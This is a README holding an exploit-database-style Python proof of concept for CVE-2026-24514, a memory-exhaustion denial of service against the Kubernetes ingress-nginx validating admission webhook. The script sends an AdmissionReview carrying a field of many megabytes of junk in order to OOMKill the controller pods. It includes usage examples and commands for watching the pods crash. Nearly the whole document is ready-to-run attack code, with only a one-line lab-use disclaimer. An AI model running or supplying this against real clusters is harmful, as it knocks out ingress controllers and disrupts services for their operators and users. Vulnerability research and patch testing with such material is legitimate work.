README.md
Rendering markdown...
#!/usr/bin/env python3
# Exploit Title: Kubernetes ingress-nginx Admission Webhook Memory Exhaustion (DoS)
# CVE: CVE-2026-24514
# Date: 20-2-2026
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Vendor Homepage: https://kubernetes.github.io/ingress-nginx/
# Software Link: https://github.com/kubernetes/ingress-nginx
# Vulnerable: ingress-nginx < 1.13.7 / < 1.14.3 (with validating webhook enabled)
# Tested on: Kubernetes clusters with ingress-nginx validating admission enabled
# Category: Denial of Service
# Platform: Linux / Kubernetes
# Exploit Type: Remote
# CVSS: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)
# Description: Sends oversized AdmissionReview requests to the ingress-nginx validating
# admission webhook, causing excessive memory allocation and potential
# OOMKill of controller pods.
# Usage:
# python3 cve-2026-24514-Kubernetes.py <webhook_url> <size_in_mb> [options]
# Examples:
# python3 cve-2026-24514-Kubernetes.py https://localhost:8443/validate 40 --insecure
# python3 cve-2026-24514-Kubernetes.py https://ingress-nginx-controller-admission.ingress-nginx.svc/validate 80
# Options:
# --insecure Skip SSL certificate verification
# --field-name TEXT Name of the field containing large payload (default: largeJunkData)
# Notes:
# - Requires network access to the validating webhook endpoint
# - Usually only reachable from inside the cluster or via port-forward
# - Use in authorized test/lab environments only
print("""
╔══════════════════════════════════════════════════════════════════════════════╗
║ ║
║ CVE-2026-24514 Proof of Concept ║
║ ║
║ Kubernetes ingress-nginx Admission Webhook Memory Exhaustion ║
║ ║
║ Author ............ Mohammed Idrees Banyamer ║
║ Country ........... Jordan ║
║ Instagram ......... @banyamer_security ║
║ Date .............. 20-2-2026 ║
║ ║
╚══════════════════════════════════════════════════════════════════════════════╝
""")
import sys
import json
import argparse
import requests
import warnings
def parse_arguments():
parser = argparse.ArgumentParser(
description="CVE-2026-24514 PoC — ingress-nginx validating webhook memory exhaustion",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
Local test (via kubectl port-forward):
python3 %(prog)s https://localhost:8443/validate 45 --insecure
Cluster-internal target:
python3 %(prog)s https://ingress-nginx-controller-admission.ingress-nginx.svc/validate 100
"""
)
parser.add_argument(
"url",
help="Target webhook endpoint (e.g. https://localhost:8443/validate)"
)
parser.add_argument(
"size_mb",
type=int,
help="Size of large payload field in megabytes"
)
parser.add_argument(
"--insecure",
action="store_true",
help="Disable SSL verification (useful for local testing)"
)
parser.add_argument(
"--field-name",
default="largeJunkData",
help="Name of the field with large data (default: largeJunkData)"
)
return parser.parse_args()
def build_admission_review(size_bytes: int, field_name: str) -> dict:
large_payload = "A" * size_bytes
return {
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "poc-cve-2026-24514-00000000-1111-2222-3333-444444444444",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"name": "oversized-ingress-poc",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"username": "system:serviceaccount:default:attacker",
"groups": ["system:authenticated"]
},
"object": {
"apiVersion": "networking.k8s.io/v1",
"kind": "Ingress",
"metadata": {
"name": "large-payload-test",
"namespace": "default"
},
"spec": {
"rules": [
{
"host": "test.local",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "dummy",
"port": {"number": 80}
}
}
}
]
}
}
],
field_name: large_payload
}
},
"oldObject": None,
"dryRun": False,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
def main():
args = parse_arguments()
if args.size_mb < 1:
print("Error: size_mb must be at least 1", file=sys.stderr)
sys.exit(1)
size_bytes = args.size_mb * 1024 * 1024
print("CVE-2026-24514 PoC — ingress-nginx validating webhook memory exhaustion")
print("──────────────────────────────────────────────────────────────────────────")
print(f" Target .............: {args.url}")
print(f" Payload size .......: {args.size_mb} MB ({size_bytes:,} bytes)")
print(f" Large field ........: spec.{args.field_name}")
print(f" SSL verification ...: {'Disabled' if args.insecure else 'Enabled'}")
print("──────────────────────────────────────────────────────────────────────────")
print()
payload = build_admission_review(size_bytes, args.field_name)
session = requests.Session()
session.headers.update({"Content-Type": "application/json"})
verify = False if args.insecure else True
if args.insecure:
warnings.filterwarnings("ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning)
print("Sending request... ", end="", flush=True)
try:
r = session.post(args.url, json=payload, verify=verify, timeout=60)
print("done")
print(f" Status code ........: {r.status_code}")
print(f" Response size ......: {len(r.content):,} bytes")
if r.text:
preview = r.text[:280].replace("\n", " ").strip()
print(f" Response preview ...: {preview}...")
except requests.exceptions.RequestException as e:
print("failed")
print(f" Request failed ......: {e.__class__.__name__}")
print(" (pod may have crashed already)")
print("\nMonitoring suggestions:")
print(" • kubectl get pods -n ingress-nginx -w")
print(" • kubectl top pods -n ingress-nginx")
print(" • kubectl describe pod <ingress-pod-name> -n ingress-nginx")
if __name__ == "__main__":
main()